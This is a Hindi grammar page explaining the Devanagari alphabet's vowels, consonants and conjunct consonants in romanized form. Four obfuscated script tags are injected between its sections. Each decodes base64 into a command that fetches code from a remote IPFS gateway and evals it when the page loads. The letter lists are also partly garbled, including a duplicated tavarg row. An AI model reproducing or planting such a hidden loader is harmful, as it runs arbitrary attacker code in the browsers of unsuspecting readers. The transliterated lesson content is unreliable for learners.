देवनागरी वर्णमाला

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hindi varnamala ke samast varnoan ko do bhagoan mean vibhakt kiya gaya hai- svar aur vyanjan.

svar

mukhy lekh : svar (vyakaran)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• jin varnoan ka uchcharan karate samay saans kanth, talu adi sthanoan se bina ruke hue nikalati hai, unhean 'svar' kaha jata hai.
• hindi mean 13 svar hote haian-

a, a, i, ee, u,
oo, e, ai, o,
au, aan, a:.

vyanjan

mukhy lekh : vyanjan (vyakaran)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• jin varnoan ka uchcharan karate samay saans kanth, talu adi sthanoan se rukakar nikalati hai, unhean 'vyanjan' kaha jata hai.
• pray: vyanjanoan ka uchcharan svar ki sahayata se kiya jata hai.
• hindi mean 35 vyanjan hote haian-

k, kh, g, gh, n (kavarg)
ch, chh, j, jh, n (chavarg)
t, th, d, dh, n (tavarg)
t, th, d, dh, n (tavarg)
p, ph, b, bh, m (pavarg)
y, r, l, v, sh
sh, s, h, d, dh

sanyukt vyanjan

mukhy lekh : sanyukt vyanjan (vyakaran)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• do vyanjanoan ke yog se bane hue vyanjanoan ko 'sanyukt-vyanjan kahate haian.
• hindi mean nimnalikhit tin vyanjan aise haian, jo do-do vyanjanoan ke yog se bane haian, kintu ek vyanjan ke roop mean prayukt hote haian-

kh aur sh ke yog se bana hua-ksh
th aur r ke yog se bana hua-tr
jh aur n ke yog se bana hua-jn

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh